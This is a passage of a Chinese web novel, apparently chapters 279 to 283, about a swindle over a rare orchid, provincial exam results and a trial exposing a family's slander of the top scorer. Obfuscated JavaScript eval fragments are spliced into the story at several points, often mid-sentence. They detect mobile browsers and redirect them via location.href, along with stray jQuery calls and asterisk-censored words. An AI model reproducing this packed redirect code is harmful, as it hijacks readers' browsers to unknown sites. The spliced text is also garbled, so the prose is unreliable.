“姐姐,得亏我们有先见之明,留在大厅里谈生意。 若是真的跟他们去了包厢,他们岂不是要**越货,毁尸灭迹。” 姐妹俩的话,顿时吸引了周围客人的目光。 虽然隔着一层帷幔,但被众人注视的感觉还是很强烈。 闻如月脸色一黑,眼中浮现厉色。 心思电转之间,她已改变主意:“好你个刁奴,偷了我家花圃中名贵花株,我们追到你,本想放你一马,把花株还来,我们就放你一马,没想到你竟想倒打一耙,既如此,那我只好按家法行事了!” 前世的五品小官那般被动,就是她不够心狠手辣,留下后患。 不如将姐妹俩掳回家去,夺了花,再将二人卖给北境蛮族当奴隶。 她们一辈子都不可能回到大庸。 自然就不会有后患了。 闻如月话音方落,她的随从会意,上前动手。 眼看事情朝不可控制的方向发展,主事官多次想要从中调和,都没找到机会张口。 “哟,这不是闻家大小姐吗?不对,现在应该叫你津平世子夫人才对! 怎么,堂堂世子夫人,买东西不成,就想强抢吗?” 茶楼里的客人,瞬间好奇在朝帷幔看去。 这里面坐的,竟是那位从乡下寻回的闻家大小姐。 被人点破身份,又被众人注视,闻如月顿时变得束手束脚,她的手下也不敢轻举妄动。 楼上的声音生怕不嫌事大:“‘素冠荷鼎’可是兰花之王,竟有人想用区区三千两买下? 这跟拿十两银子,买下珍宝阁有何区别? 价格谈不拢,就想强抢,这难道就是闻家的家教?这难道就是津平侯府的规矩?” 闻如月气红了眼,抬头四处张望,试图找到坏她好事之人。 “阁下藏头露尾,连真面目都不敢露,我看你跟这两个贼奴是一伙的。” “既然世子夫人说她们是逃奴,不如就拿出**契,或是将她们报官处理。”二楼的声音继续说道,“你该不会说,官府也跟她们是一伙的吧!” “二楼的姑娘说得在理。” 一楼厅堂里的客人,全都附和。 “既然世子夫人说她们两个是贼奴,不如拿着**契送去官府处理。” “世子夫人该不会是想把人强掳回去,动用私刑吧!” …… 在一声声的质疑声中, 闻如月没了退路。 姐妹二人见状,互换一个眼神,起身欲走:“这笔生意我们不做了,我们现在就走。有位官爷一直等着此花的消息,不好再耽搁了。” “六千两就六千两,这花我要了。”闻如月捏紧了拳头,从牙缝里挤出声音,“六千两,还要附上‘锡兰香’的香记方。” “锡兰香是我家祖传的香方,贵客若是想,要五百两银子,否则免谈。”姐妹俩先是硬气,一点商量的余地都没有。 闻如月从牙缝里挤出声音:“好,五百两就五百两,我买就是了。” 六千五百两! 已是她三分之二的积蓄。 不过没关系,这笔钱暂时舍出去,等离开这破茶楼,没了这些碍事的贱民,她再拿回便好! 两个弱女子,还能逃出她的掌心? 在闻如月眼中,立夏和青禾已经是个**了。 在本街主事官的见证下,买卖就此达成。 签下契书,人货两讫。 姐妹俩拿着钱,快速离开了茶楼。 闻如月使了一个眼色,手下立即跟上二人行踪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344319|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐妹俩出了茶楼之后,就察觉到身后有人跟踪。 两人对视一眼,默契地拐进一条巷子。 跟踪之人立即跟了进去。 结果迎接她的,却是当头一棒,眼冒金星地晕倒在地。 姐妹俩把人敲晕之后,并不罢休。 将此人全身上下摸了个遍,稍微值钱一点的东西全都拿走,就连外衣都扒下来了。 “让你们欺负我!”一人踢了一脚,至于那身外裳,随手送给了路边的乞丐。 待此人醒来之后,看着只剩中衣的自己,流下了委屈的泪水。 ** 在离街市不远的一条无人的巷子里。 姐妹二人上了一辆马车。 马车里,闻颜和佩儿已经等在里面。 “青禾姐姐、立夏姐姐,你们辛苦了,快喝杯茶解解渴。”佩儿笑着奉上两杯茶水。 “闻如月今天肯定恼了。 今天我们坑了她那么多银子,她不会善罢甘休。 你们留在京城太危险,先去松山村住一段时间,就当是给自己放个假。” 虽然她们用妆容做了改变容貌,骗骗闻如月还行,就怕霍耀行也掺和其中。 些人阴狠狡诈,说不定会对姐妹俩不利。 “这里面是衣服,你们卸了妆换身衣服再出发。”闻颜将一只包袱塞给他们,又一人塞了五十两银票。 姐姐将一只荷包递给闻颜:“六千五百两银子,全在里面了。” 交接完成后,闻颜和佩儿就下了马车。 看着马车缓缓驶离,闻颜才悄悄松了口气。 翌日。 便是兰家老太君的生辰。 兰家张灯结彩,喜气洋洋。 兰纮入狱,对兰家的影响很大。 今年的宾客,比起往年少了三分之一。 起码,京城中的勋贵,都只派管事送了礼物,家中主子没一个来。 避风头的意思,再明显不过。 津平侯府亦是如此安排。 闻如月早就等着这一天,岂会听从安排? 她找了个回娘家的借口,换了马车,带着‘素冠荷鼎’,和连夜赶出来的‘锡兰香’就悄悄过来了。 第279章:放榜 “锡兰香?”兰玉好奇,朝身边宫婢使了个眼色。 宫婢上前,打开盒盖。 露出里面整齐码放的香饼。 宫婢以衣袖扇风,香风扑来。 宫婢眼神一亮,回到车厢禀报。 不一会儿,宫婢重新出来。 “娘娘对这香很满意,你先退下吧。”其他宫婢接过锦盒。 她则递了一条玉镯给闻如月。 “谢娘娘赏赐。”闻如月激动地接过玉镯。 她知道,自己成功抱上兰贵妃这条大腿了。 那么,接下来…… 就该逮住那两只母耗子,让她们把吃掉的银子,全部吐出来。 当日,天黑之时。 霜姨来到‘一点墨’向闻颜回禀兰府寿宴之事。 不知她有些什么手段,竟将消息探听得分毫不差。 甚至连闻如月拜见时的谄媚,献花时的得意神情,都说得栩栩如生,仿佛亲眼所见一般。 霜姨道:“小姐,闻如月和兰贵妃算是真正绑在一条船上了。” 佩儿不解地问:“小姐,我一直很疑惑,这样岂不是让闻如月更有底气了吗?” 闻颜搓了搓手指,浅笑一声。 那也得兰家能永远屹立不倒才行啊! 否则大树一倒,攀附它的藤蔓,必受牵连。 时间过得飞快,眼看离放榜之日越来越近。 青禾和立夏回到村中,已有半月时间。 两人十分低调,住进闻颜家中,从不出门。 绣花、缝衣裳打发时间。 偶尔有人去找辰七哥办事,还是将二人的消息透露出去。 村中渐渐有了不好的议论,说二人是应知林新纳的妾室。 立夏二人低调行事,听后一笑了之。 就连村长想出面解释,也被她们制止了:“多一事不如少一事。” 万一消息传到霍家耳中,就前功尽弃。 无人解释,那消息便野火遇上了风,瞬间就蔓延开去。 很快,这消息就传到了隔壁的禄福村。 **儿洗完衣服回家,就见村里的几个长舌妇,围在她家门口。 她们平时最爱东家长西家短,无论什么事情,只要经过她们的嘴,白的都能说成黑的。 公的都能说成母的。 她们大清早登门,绝对没有好事。 不知说了什么,竟把她娘气得浑身颤抖。 她紧走几步,要去保护母亲。 就听其中一人说道:“你以前不是老说,你那个秀才外甥品性端方,不会纳妾吗? 现在一下纳了两个,你怎么解释?” “我看,人家应秀才不是不纳妾,只是看不上你家莺儿。 纳妾纳色,**儿又黑又壮,娶回家当老黄牛使唤还行,当妾的话,嘻嘻……哪个男人下得去口啊!” “滚!我家不欢迎你们,全都给我滚!”焦姨母气得脸色铁青,指着门外大喊。 谁知,她这一指,就看见了人后的**儿。 **儿脸色雪白,喃喃发问:“娘,她们说的是真的吗?表哥他真的纳妾了?” 焦姨母急道:“不是的。她们瞎说的,莺儿不要当真。” 三个长舌妇不让她糊弄过去:“我们哪有瞎说。 应知林不是仅纳妾了,还一次性纳了两个,都住进去两个月了。 听人说,那两个小妾又白又美,再看看你,黑得像炭,长得又壮……” **儿的眼泪倏地一下流出来了。 焦姨母见女儿神情越来越不对,她急得拿起扫帚就想赶人:“闭嘴,我打死你们胡说八道……” **儿看着鸡飞狗跳的四人,转身就朝松山村跑去。 她不信! 她要亲口问应知林。 自己到底哪里不好。 他宁愿要别人,也不要自己! 砰!砰!砰! 松山村,闻颜家的院门被敲得山响。 “来了来了!”有人随着一声回应,院门从里面打开。 只见一位模样普通,但身材高挑而曼妙的女子站在门内。 “你找谁?”青禾眉眼含笑,问话温柔细语,让人很有好感。 **儿直勾勾地看着立夏。 接着,院中又传来一道不耐烦的询问:“又是谁啊?!” 只见一位身材娇小,模样俏丽的女子走了过来。 立夏精致的眉眼带着怒气,手里拿着劈柴的斧头,气势汹汹地看过来。 这几日总有村民时不时来敲门,扰得她们烦不胜烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344321|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 **儿看着各有特色的两人,她的声音发颤:“你们,是我表哥的妾室?” “你在说什么鬼话?”立夏暴脾气,用斧头指着她。 她们是小姐的丫鬟,什么时候成姑爷的妾室了? 立夏的回答,听在**儿耳中,却成了默认。 她伤心欲绝。 原来,他们说的都是对的。 表哥不是不想纳妾,只是不愿娶自己而已。 自己到底哪里不好了? 竟惹得表哥如此嫌弃? **儿像是受了剜心之刑,痛得几乎无法呼吸。 “应知林,你出来,你给我说清楚!你出来啊!”**儿大叫着就要往院子里冲。 立夏的斧头往门一抵,拦住去路:“应知林不在,他还在京城等放榜消息。” “不……不可能,啊……”**儿突然身体一软,晕倒在地。 焦姨母及时赶来。 抱着晕倒的女儿哭得泣不成声。 一声声控诉当中,就想把**儿塞给应知林。 好在应族长得到消息,及时赶到,将母女二人强行送走。 焦姨母只得不甘地带着女儿离开。 此次回去后,**儿就整日躺在家中,泪流满面。 最后在某个夜晚。寻了短见。 当然,这些都是后话。 几天之后,就到了放榜日。 闻颜知道应知林考不上,不抱期望。 但她并不打击应知林的积极性。 放榜当日,早早就来到宅子,准备接上应知林兄妹三人,一起去贡院前看榜。 然而,应知林却说不去看榜。 莫非是他自知上榜无望,不敢去看? 倒是应知海和应知雪蹦着跳着要去看榜。 闻颜不想扫兴,便带着姐弟二人朝贡院而去。 闻颜觉得自己去得够早了。 没成想,他们到时,贡院门口已经人满为患。 应考的学子及其家人,也有城中爱凑热闹的百姓。 他们迫不及待地想要看看,今年的解元,会花落谁家? 又等了半个时辰,贡院大门缓缓大开。 十几名军卒,护着四名文官,将厚厚一叠名单,一一张贴出来。 第280章:解元 从末榜开始张贴。 第一张榜单贴出来后,等着看榜的人,就涌了过去。 京城四府合考,共有八百多人参考,却只有五十八个名额。 识字的**声读着榜:“第五十八名,方镜。” 人群中立即传来一声欢呼:“我!是我,我是方境……” 人群骚动。 一位看着年近不惑的男子,他穿着的学子衫,洗得发白却很干净。 他踉跄着挤到榜前,核对名字和考号之后,确定是自己中举。 “爹……娘……,媳妇,我没有辜负你们的期望,三十几年的努力,终于有了结果。 呜呜呜呜……”男子又哭又笑。 扑通一声跪倒在地,朝一个西南方向连磕三个响头。 不少围观的人,也被他的情绪所感染,跟着热泪盈眶。 心软的妇人已经开始抹眼泪。 这便是十年寒窗无人问,一举成名天下知。 科举一途,让多少家族一夜之间鱼跃龙门,改换门庭。 但同样的又有多少寒门子弟,靠举全家、乃至全族之力供养。 最终也止步于秀才,甚至是童生。 眼前这位方举人,是其中的幸运者。 “第五十七名,孔郏……” 随着张贴的榜单越来越多,闻颜听见好几个熟悉的名字,都是应知林的同窗。 梧桐书院,果然名不虚传。 直到最后只剩前十名。 前来看榜的学子们,越发的激动。 但更多的学子,觉得自己中举无望,已经黯然离场。 应知雪激动道:“哥哥能进前十,太好了!” 闻颜眉头抽了抽:“你就这么确定,你哥能中举?” 如果不出意外,按照前世的轨迹,应知林这次落榜字。 应知雪傲骄地哼了一声:“那是当然,我哥哥的学问很好的,连季山长都夸他呢。” 闻颜也不想打击她的自信心,笑笑没再说话。 最后一张榜单贴出。 念榜之**声道。 “第六名,霍耀行。” 无聊到打哈欠的闻颜一怔。 霍耀行? 第六名?! 就听念榜的**声道:“第一名,应知林。” 众人惊诧不已。 应知林? 这是什么人? 以前怎未听过此人名号? 竟能打败几个热门人选,夺得魁首。 也不知此人是何模样,他们好奇得想要一窥究竟,四处张望寻人。 闻颜瞬间瞪圆了眼睛。 她吃惊不已。 应知林,依然是本次解元。 可前世的解元,分明是应霍耀行。 应知林根本没有上榜。 这到底怎么回事? 闻颜突然想到,敬明媚说起的,闻如月的那碗汤。 霍耀行只喝了一口,就腹痛了一天一夜时间,无法安心答题。 如果闻如月前世也给应知林熬了汤,应知林也喝了下去,并且还喝得不少。 那么,他落榜也不是不可能。 是了! 只有这样才解释得通! 不过,应知林中举不奇怪。 他能直接拿下第一名,却出乎闻颜的意料。 京畿四府,无论是学风,还是求学条件,都不是他处可比。 应知林能杀穿八百多人,直取魁首,实力可见一斑。 以前,是自己小瞧他了。 想起自己曾经安慰他说,考不考得中都没关系,重在参与。 闻颜只觉得小脸通红。 应知雪挤进人群,确定榜一大哥是自己的亲哥哥,她又挤回闻颜得意,昂头看着她,得意地哼哼:“我说了,我哥哥读书很厉害的。现在惊掉下巴了吧!” 被闻颜压制几个月,今儿可算是能扬眉吐气一回了。 闻颜手动合上下巴,对应知雪竖起大拇指:“你哥真厉害。” “糟糕,忘记准备赏钱了。”闻颜突然以拳击掌,暗叫一声糟糕。 她因为前世记忆,觉得应知林不可能中举,便没有准备赏钱。 如今中了头名。 报喜的官兵上门,什么都没准备,岂不是贻笑大方。 “走走走,我们快回去准备。” 闻颜一手抓一个,就带着姐弟俩就往回走。 闻颜前脚刚刚离开贡院,后脚老应家的人就到了。 乔婆子穿着一褴褛衣衫,特意饿得面黄饥瘦。 她声音颤抖,颤颤巍巍地拉住一个人询问:“第一名叫什么名字?真……真的叫应知林吗?” 得到肯定答复之后,乔婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344322|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子先是怔了一怔,眼中闪过一抹不可思议。 她以为应知林顶多考个末等尾名。 没想到,应知林竟考了解元,已经能直接选官了。 不行! 不能让他势大。 乔婆子突然呜咽一声,就捂着脸哭了出来:“呜呜,中了,中了好啊。 我老应家,终于能改换门庭了! 我没有辜负老应家的列祖列宗,就是现在**,也有脸去见他们了。 我的闺女啊,你的牺牲也算值了! 呜呜呜呜……” 有方举人的事在前,乔婆子一哭诉,就引起旁人的恻隐之心,劝她好生将息身体,日后才能跟着孙子享福。 但也有心思玲珑之人发现她话中蹊跷,起了八卦之心。 什么闺女牺牲? 莫非,这位解元干了什么**人怨之事? 这一询问。 心直口快的乔大双就把什么都吐露出来:“什么享福,他不把我们敲骨吸髓,就要谢天谢地了。” 众人越发好奇,继续追问。 乔大双当即抹起了眼泪:“那应知林早早没了爹娘,是我们全家十几口人,节衣缩食一点一点供养他读书。 他不知感恩,我们传出时也没想送要回报,可他去丧尽天良。 他书读得好,生活也极度奢靡。 此次进京乡试,不仅抢了亲祖母的棺材本,还卖掉亲小姑,就为了奢靡享受。” 她哭得一把鼻涕一把泪,再加上她们衣衫褴褛,面庞枯瘦,很多人都对她心生怜悯。 路边二楼的房间里。 霍耀行面沉如水,冷漠地俯瞰着楼下发生的一切。 他的小厮恭敬地候在一旁,大气不出。 倒是他的幕僚,神情自若。 霍耀行脸上铁地露出一抹冷笑,对小厮道:“既然他们想**,把那个叫应知林的解元拉下马,你就下去帮他们一把。” “是,小的这就去。”小厮如蒙大赦地退了出去。 房中,只剩霍耀行和幕僚二人。 霍耀行想过,自己可能会错失解元之位,却没想到竟然是第六名。 这个名次,对别人来说可能还不错。 对霍耀行来说,却味同嚼蜡。 根本不会让皇帝注意到。 而那个应知林,又是谁? 第281章:德不配位 霍耀行从未听过他的名号,突然冒出来的一个人。 竟然得了第六名。 莫非是从外地转来的学子? 亦或是此前故意藏头露尾,想来个三元及第,名震天下? 还有那个方云舟也很奇怪,竟得了第九名。 前世,他明明只考了二十三名,今生他的名次为何会靠前这般多? 莫非,他也重生了? 他突然改变轨迹,是另有目的,还是针对自己而来? 可自己与他并无往来恩怨! 他百思不得其解,而楼下已经群情激奋。 霍耀行的小厮,突然说了一句:“此人品性卑劣,怎会有人保举,让他参加乡试? 莫非有人给他开了后门? 这种人他不配乡试,更不配解元之位……” “对!他不配!”当怒就有人应和。 几句挑拨之言后,他们便同仇敌忾地讨伐起应知林。 “对,一定要告发他。” “我们先去截住报喜官,不让他拿到官府签发的文书,把他按死在萌芽里!” 老应家的人被众人架着,朝应知林的住所而去。 闻颜先回了一趟‘一点墨’,拿了整整一匣子铜钱,这才赶回应知林的住所。 报喜官还没到,巷子里一片安静。 马车还没停稳,应知雪姐弟就一起跳下马车,便兴奋地大喊起来:“大哥,你中了举了!” “大哥,你是解元。” 其他学子都出去看榜了,宅子里只剩应知林一个人。 他坐在院中的躺椅里看书,旁边的小几上煮着茶,好不惬意。 听见姐弟俩的呼喊,他回过头来,看着他们身后还跟着闻颜。 他顿时露出惊喜神情:“真的吗?我当真中了解元。” “当然是真的,我看见大哥的名字,在第一名的。”应知海像只欢喜的小兔子,扑进应知林的怀里。 应知林把应知海抱在怀里,他走到闻颜面前,笑盈盈地看着她:“当初你送我去读书时,我就说过,一定会读出成绩来回报你。 如今初有成效,你的付出没有白费! 闻颜,你高不高兴?” 应知林的眼神像一潭幽深的温泉,温柔似水,又深不可测,仿佛能将人吸进去。 闻颜被看他得很不自在,若无其事地错开目光:“当然高兴啊,这可是解元。不是谁都能考上的。” 她转身拍拍马车上的匣子:“那么,解元老爷,能麻烦你帮忙把这只匣子搬进屋去吗?” “小海,你自己玩去。”应知林放开弟弟,来到马车前搬东西。 他试着抱了一下,沉甸甸的。 他好奇问道:“这里面是什么?” 闻颜打开盖子,露出里面的铜钱:“你中了解元是大喜事,除了给报喜官差的喜钱,来凑热闹的人也不能少,到时你就把这些铜钱撒出去。” 应知林脸上露出一丝羞赧:“……谢谢你为我考虑得如此周全。” 他们话音方落,巷口就传来一阵喜庆的唢呐声。 扭头望却,就见一支报喜的官差进入巷子。 除了报喜的三名官差,他们身后还跟着三三两两凑热闹的百姓。 很快,官差就来到他们面前。 确认门牌号后,他看向闻颜几人:“请问,考生顾惇,张元可是住在此处?” 应知林道:“是,他们出去看榜,还未回来。” 报喜官差便笑着道:“那我们便等一等。” “几位请到院中,喝茶等吧。”应知林刚将人请进院中,外面又是一阵欢乐的鼓乐声。 “考生崔鹿鸣可住在此处?” 又接连来了两波报喜官差后,因为人不在,全都让应知林招呼进院中。 直到最后一波报喜官差,问道:“考生应知林可住在此处?” 巷子里已经人满为患。 应知林上前拱手道:“我便是。” 报喜官差走到跟前,脸上立即露出笑意:“原来您就是应知林,恭喜你获得本次乡试头名,这是官府签发的文书。” 官差说着,就将一纸文书递给应知林。 应知林接过,确认之后,又很是礼貌客气地道谢。 闻颜趁机拿出一个荷包,塞给领头之人。 荷包鼓囊囊的。 领头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344323|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官差握在手中沉甸甸的,他便知这位解元出手很是阔绰大方。 “小的还要回去复命,就不打扰了诸位了。”三人办完差就准备离开。 谁知,人群外却传来一声喝斥:“不能走。官爷,你们不能走。” 三名官差回头,就见人群外挤来一行人,乔婆子也被他们推了出来。 看见老应家一行人,闻颜和应知林心中便有了数。 “应知林,看见你的祖母,你就不心虚吗? 你若是良知尚存,就交完文书,自除功名。” 应知林冷笑一声:“可笑,我凭自己的本事考上的,为何要自除功名?” “好笑,你的功名怎么来,你敢说出来吗? 你对家人做的那些卑劣之事,你敢说当众说出来吗?”霍耀行的小厮在人群里煽动。 应知林看着乔婆子:“你说说看,我都对你做了什么?” 乔婆子心虚,目光闪避。 有人对乔婆子恨铁不成钢,代为控诉道:“官爷,应知林他品行不端,根本就没有乡试的资格。所以,这个解元,他不配。 此贼靠全家供养才能读书,可他却无情无义,竟在乡试之前,骗了亲祖母的棺材本,卖了亲姑姑,就只为了乡试的时候,能在京城住豪宅,穿好衣,装得像个有钱人。” “这般品性不端之徒,连科举的资格都没有,这个解元,自然轮不到他。” 乔婆子一家人破破烂烂,跟一身绸衣的应知林,形成鲜明对比。 一时间,大家对他们的说辞,就信了大半。 他们开始对应知林指指点点。 有人骂他无情无义。 有人骂他不是人。 更有人担忧,他当了官会为害一方。 三名报喜官差见此情景,也不敢记下决断。 他们一边护住应知林,一边派人回去禀报此事。 就在此时,数名学子挤了进来:“诸位围在我们家门口干什么?难道全都是来看新解元的?” “大家都散了吧,新解元虽然长得好看,但他已经名草有主了。”有人故意打趣道。 然而,并无人发笑,反而怒视着他们。 第282章:品性纯良,以德报怨 原本好声好气的学子,突然冷了脸:“你们说应知林贪图享受,一个人住大宅子,可这宅子里面住了二十几人。 这算是什么贪图享受? 若是不信,你们大可以进去看看。” 同窗侧身,给他们让出道来。 “那衣服呢?他穿着绸衣,他的家人却穿得破破烂烂。” “那是他的妻……” 应知林突然拉了他的胳膊一下,不让他掺和进自己的乌糟事里。 旁人却觉得应知林是心虚了,嘲讽更甚。 “我们就在院中,有事及时叫我。 还有,鹿鸣已经去京兆府报官了,差役马上就会到。” 同窗并未强求,说完就回了院中。 “多谢。”应知林刚道完谢,崔鹿鸣就带着一群佩刀的差役就涌进巷子里,将众人团团围住。 义愤填膺的百姓先是害怕。 在小厮的挑拨之下,又趁机告状。 事关本届考生,差役直接将主要人员带回府衙审问。 老应家的人一听要去官府,顿时吓得双腿直哆嗦。 百姓都怕见官,更何况他们和应知林的事根本禁不起查。 他们只是想搞臭应知林的名声,让他往后科举艰难、仕途受阻。 可不想把自己搭进去。 但是在差役面前,根本没有他们拒绝的份。 闻颜指着人群里的一个男子道:“差役大哥,他也是他们的同伙。” 闻颜指的,正是霍耀行的小厮。 小厮见势不妙,欲混入人群逃跑。 闻颜夺过刚刚送给报喜官差的钱袋就砸了过去。 只听那人痛叫一声,踉跄一下,暴露位置。 差役立即上前将人按住。 一行人,又浩浩荡荡去了京兆府。 事关本次解元,京兆府颇为重视,府尹当即就亲自升堂审理。 惊木拍下,老应家的人吓得双腿哆嗦,说不出一句完整的话。 闻颜看向那名小厮,刚才他混在人群里,又故意遮遮掩掩,闻颜没认出。 此时上了公堂,近距离一看,她一眼认出他是津平侯府二管家的儿子。 他从小跟在霍耀行身边当跟班。 如果霍耀行当上家主,他便是下一位霍管家。 闻颜不知,霍家为何会掺和进此事。 是跟老应家合谋,还是纯粹拱火。 不过,既然已经入局,怎么可能让他们全身而退。 闻颜直接点破他的身份,并咬定他与老应家勾结在一起,故意陷害应知林。 百姓震惊。 此事竟与津平侯府有牵扯?! “听说津平世子只考了第六名,莫非是他嫉妒应解元,才做出此等行径?” 听着众人议论,小厮脸色铁青。 他不过是奉主子之命,过来挑拨离间,把水搅混。 他没想到竟然暴露了。 他慌了一瞬,便一口咬定自己是路见不平,见义勇为。 把霍家拉下水,闻颜就不再与他纠缠,而是将主场交给了应知林。 应知林默契控场:“他们的指控,我一项都不认。 还望府尹大人还我清白。” “雁过留痕,只需派人去松山村查一查便知。” 乔婆子心里一慌:“他们都被你收买了。当然帮你说话。” “一个两个能收买,十个八个如何收买? 况且,当初的分家、断亲文书也有在县衙备案。” 府尹闻言,立即派人去查。 松山村距离京城不近,快马加鞭地来回,也要一个半至两个时辰。 若是带上证人,三个时辰是要的。 不过。 差役的速度,比预料中还快。 两个时辰后,差役不仅带着村民的口供,还带着四十几个证人。 四十几人当中,有男有女,有老有少,都是松山村的村民。 不是差役要带这么多人,实在是村民,一听老应家的人又去找闻颜麻烦,愤怒不已,争着抢着要亲自来给应知林做证。 走在最前头的,便是话族长。 应知林立即上前,将他搀扶住:“族长,您怎么来了?” “你发生了这么大的事,我怎能不来。”应族长冷哼一声,转头就指着乔婆子,骂道:“老乔氏,你到底要做什么? 你作天作地这么多年,以前老二夫妻俩便要供养全家。 他们**,你就想把应知林敲骨吸髓不成?” “我是他的血亲祖母,他理应孝顺我!”乔大双有恃无恐。 读书当官的更注意名声,即便断亲分家,她也能拿教字拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344324|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏应知林。 “我呸!”刘婶子从人群里挤了出来,拍着自己的脸“你有脸当他祖母,我都没脸听!今天我就让大伙知道知道,你到底是个什么货色!” 随即,刘婶子的嘴巴就像装了机栝,把乔婆子的那些腌臜事全部抖落出来。 从应知林的母亲抄经书养全家,到逼着应知林父亲,暴风雪的日子去城里给她买吃食,死在途中。 再到他们如何压榨盘剥应知林。 就连分家、断亲,也是乔婆子嫌弃闻颜没嫁妆,又因为卖嫁衣的事得罪了闻家,自己提出来的。 刘婶子说,其他村民补充。 一桩桩一件件,骇人听闻。 老应家其他人都软了,唯有乔婆子还在嘴硬:“他不孝总是事实吧!” 众人都被她的无耻气笑。 刘婶子立即啐了回去:“你配吗? 族中长辈他没少孝顺,前几日中秋节,知林小夫妻又是米粮,又是肉粮点心。 除了族老宗亲,曾经帮过他的人,村里的孤寡老幼,每家每户都有份。 这都不叫孝顺,那什么才是孝顺?” 刘婶子嘴皮子利索,仿佛料到乔婆子要说什么,“还有你冤枉他卖你女儿。 应喜妹什么货色京城百姓不知道,我们村里的人还不知道吗?癞**想吃天鹅肉,惦记上不配惦记的人,你别把我逼急了,否则你女儿做的那些事全部抖落出来,让她嫁不出去!” 事关小女儿,乔婆子气得嘴唇直哆嗦,但也不敢再多说一个字。 围观百姓还有什么不明白的。 这家人坏事做尽,却恶人先告状…… 他们被一个糟老婆子当枪使,差点就把一个无辜学子给害了。 差役适时拿出从县衙借调来的分家、断亲文书。 众人义愤填膺,将矛头指向了老应家的人。 府尹大人将惊堂木一拍,就要问罪。 应族长想了想,朝应知林使了个眼色。 这件事他虽占着理,但有些事,不是有理就行的。 恰巧,应知林也不想乔婆子如此痛快,当即向府尹求情,念在乔婆子一把年纪,又是血亲的份上,饶她一回。 他们会将乔婆子押回村子,家规处置。 应知林得到百姓的交口称赞,说他品性纯良,以德报怨。 第283章:泄露会试考题 至于霍家那名小厮,挨了十个板子之后,被人抬着送回了霍家。 走出公堂之后,闻颜感激地对大家一揖:“诸位见证我夫妻二人清白,闻颜在此谢过诸位了。” 霜姨隐在人群里,故意问道:“你莫非是闻家那位抱错了的二小姐?” 闻颜大大方方的承认:“正是我。” 众人露出惊讶神情。 原来闻家二小姐,嫁的穷酸书生竟生得这般美貌,如今还得了解元。 塞翁失马,焉知非福! 众人不由联想,霍世子抛弃闻二小姐另娶他人。 闻二小姐的夫君考了解元,而霍世子只得了第六名,压他一头。 霍世子的小厮亲自参与案件。 几个要素一结合,众人便觉得自己抓住了真相。 霜姨总结道:“霍世子被瞧不起的人压了一头,心有不甘,便联合老应家蓄意抹黑应解元。 啧啧啧。 没想到风光月霁的霍世子,内心竟如此不堪!” 霜姨挑起大家猜疑,悄然离开。 闻颜笑着对道:“今日我夫君中举,独乐乐不如众乐乐,大家一起分享这份喜悦吧。” 闻颜将装铜钱的匣子塞给应知林,让他撒喜钱。 众人一阵哄抢,好不热闹。 应族长看着应知林,老怀甚慰。 他有预感。 应氏一族,甚至是整个松山村,都会因为这对小夫妻,蒸蒸日上。 喜钱撒完,应知林走向应族长。 他对应族长深鞠一躬:“族长爷爷,知林没有辜负您的期望。” 应族长老泪纵横,拍着应知林的肩膀道:“好孩子,我没有看错你。 你爹娘、阿爷在泉下有知,也会欣慰的。” 村民玩笑道:“知林,你以后当上官了,可不能忘了族亲,村里。” 应知林却郑重其事地道:“叔您放心吧。这些年大家对我的帮助,我铭记于心。 我不会忘记大家恩情的。” 那位村民反而不好意思地挠挠头。 